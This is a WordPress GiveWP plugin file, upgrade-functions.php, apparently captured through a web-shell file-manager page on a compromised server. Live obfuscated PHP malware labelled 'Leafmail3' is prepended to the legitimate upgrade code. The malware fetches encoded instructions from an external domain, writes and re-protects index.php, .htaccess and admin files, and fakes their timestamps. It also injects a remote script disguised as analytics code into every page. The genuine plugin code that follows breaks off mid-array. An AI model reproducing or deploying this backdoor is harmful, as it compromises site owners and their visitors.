Server IP : 192.158.238.246 / Your IP : 13.59.210.36 Web Server : LiteSpeed System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64 User : jenniferflocom ( 1321) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/jenniferflocom/www/wp-content/plugins/give/includes/admin/upgrades/ |
Upload File : |
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php /** * Upgrade Functions * * @package Give * @since 1.0 * * NOTICE: When adding new upgrade notices, please be sure to put the action into the upgrades array during install: * /includes/install.php @ Appox Line 156 * @copyright Copyright (c) 2016, GiveWP * @license https://opensource.org/licenses/gpl-license GNU Public License * @subpackage Admin/Upgrades */ // Exit if accessed directly. use Give\Helpers\Gateways\Stripe; if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Perform automatic database upgrades when necessary. * * @since 1.6 * @return void */ function give_do_automatic_upgrades() { $did_upgrade = false; $give_version = preg_replace( '/[^0-9.].*/', '', Give_Cache_Setting::get_option( 'give_version' ) ); if ( ! $give_version ) { // 1.0 is the first version to use this option so we must add it. $give_version = '1.0'; } switch ( true ) { case version_compare( $give_version, '1.6', '<' ): give_v16_upgrades(); $did_upgrade = true; case version_compare( $give_version, '1.7', '<' ): give_v17_upgrades(); $did_upgrade = true; case version_compare( $give_version, '1.8', '<' ): give_v18_upgrades(); $did_upgrade = true; case version_compare( $give_version, '1.8.7', '<' ): give_v187_upgrades(); $did_upgrade = true; case version_compare( $give_version, '1.8.8', '<' ): give_v188_upgrades(); $did_upgrade = true; case version_compare( $give_version, '1.8.9', '<' ): give_v189_upgrades(); $did_upgrade = true; case version_compare( $give_version, '1.8.12', '<' ): give_v1812_upgrades(); $did_upgrade = true; case version_compare( $give_version, '1.8.13', '<' ): give_v1813_upgrades(); $did_upgrade = true; case version_compare( $give_version, '1.8.17', '<' ): give_v1817_upgrades(); $did_upgrade = true; case version_compare( $give_version, '1.8.18', '<' ): give_v1818_upgrades(); $did_upgrade = true; case version_compare( $give_version, '2.0', '<' ): give_v20_upgrades(); $did_upgrade = true; case version_compare( $give_version, '2.0.1', '<' ): // Do nothing on fresh install. if ( ! doing_action( 'give_upgrades' ) ) { give_v201_create_tables(); Give_Updates::get_instance()->__health_background_update( Give_Updates::get_instance() ); Give_Updates::$background_updater->dispatch(); } $did_upgrade = true; case version_compare( $give_version, '2.0.2', '<' ): // Remove 2.0.1 update to rerun on 2.0.2 $completed_upgrades = give_get_completed_upgrades(); $v201_updates = [ 'v201_upgrades_payment_metadata', 'v201_add_missing_donors', 'v201_move_metadata_into_new_table', 'v201_logs_upgrades', ]; foreach ( $v201_updates as $v201_update ) { if ( in_array( $v201_update, $completed_upgrades ) ) { unset( $completed_upgrades[ array_search( $v201_update, $completed_upgrades ) ] ); } } update_option( 'give_completed_upgrades', $completed_upgrades, false ); // Do nothing on fresh install. if ( ! doing_action( 'give_upgrades' ) ) { give_v201_create_tables(); Give_Updates::get_instance()->__health_background_update( Give_Updates::get_instance() ); Give_Updates::$background_updater->dispatch(); } $did_upgrade = true; case version_compare( $give_version, '2.0.3', '<' ): give_v203_upgrades(); $did_upgrade = true; case version_compare( $give_version, '2.2.0', '<' ): give_v220_upgrades(); $did_upgrade = true; case version_compare( $give_version, '2.2.1', '<' ): give_v221_upgrades(); $did_upgrade = true; case version_compare( $give_version, '2.3.0', '<' ): give_v230_upgrades(); $did_upgrade = true; case version_compare( $give_version, '2.5.0', '<' ): give_v250_upgrades(); $did_upgrade = true; case version_compare( $give_version, '2.5.8', '<' ): give_v258_upgrades(); $did_upgrade = true; case version_compare( $give_version, '2.5.11', '<' ): give_v2511_upgrades(); $did_upgrade = true; case version_compare( $give_version, '2.6.3', '<' ): give_v263_upgrades(); $did_upgrade = true; case version_compare( $give_version, '2.7.0', '<' ): // Flush rewrite rules. It will help to store register route for embed form. flush_rewrite_rules(); give_v270_upgrades(); $did_upgrade = true; case version_compare( $give_version, '2.9.0', '<' ): give_v290_remove_old_export_files(); $did_upgrade = true; } if ( $did_upgrade || version_compare( $give_version, GIVE_VERSION, '<' ) ) { update_option( 'give_version', GIVE_VERSION, false ); } } add_action( 'admin_init', 'give_do_automatic_upgrades', 0 ); add_action( 'give_upgrades', 'give_do_automatic_upgrades', 0 ); /** * Display Upgrade Notices. * * IMPORTANT: ALSO UPDATE INSTALL.PHP WITH THE ID OF THE UPGRADE ROUTINE SO IT DOES NOT AFFECT NEW INSTALLS. * * @since 1.0 * @since 1.8.12 Update new update process code. * * @param Give_Updates $give_updates * * @return void */ function give_show_upgrade_notices( $give_updates ) { // v1.3.2 Upgrades $give_updates->register( [ 'id' => 'upgrade_give_payment_customer_id', 'version' => '1.3.2', 'callback' => 'give_v132_upgrade_give_payment_customer_id', ] ); // v1.3.4 Upgrades ensure the user has gone through 1.3.4. $give_updates->register( [ 'id' => 'upgrade_give_offline_status', 'depend' => 'upgrade_give_payment_customer_id', 'version' => '1.3.4', 'callback' => 'give_v134_upgrade_give_offline_status', ] ); // v1.8 form metadata upgrades. $give_updates->register( [ 'id' => 'v18_upgrades_form_metadata', 'version' => '1.8', 'callback' => 'give_v18_upgrades_form_metadata', ] ); // v1.8.9 Upgrades $give_updates->register( [ 'id' => 'v189_upgrades_levels_post_meta', 'version' => '1.8.9', 'callback' => 'give_v189_upgrades_levels_post_meta_callback', ] ); // v1.8.12 Upgrades $give_updates->register( [ 'id' => 'v1812_update_amount_values', 'version' => '1.8.12', 'callback' => 'give_v1812_update_amount_values_callback', ] ); // v1.8.12 Upgrades $give_updates->register( [ 'id' => 'v1812_update_donor_purchase_values', 'version' => '1.8.12', 'callback' => 'give_v1812_update_donor_purchase_value_callback', ] ); // v1.8.13 Upgrades for donor $give_updates->register( [ 'id' => 'v1813_update_donor_user_roles', 'version' => 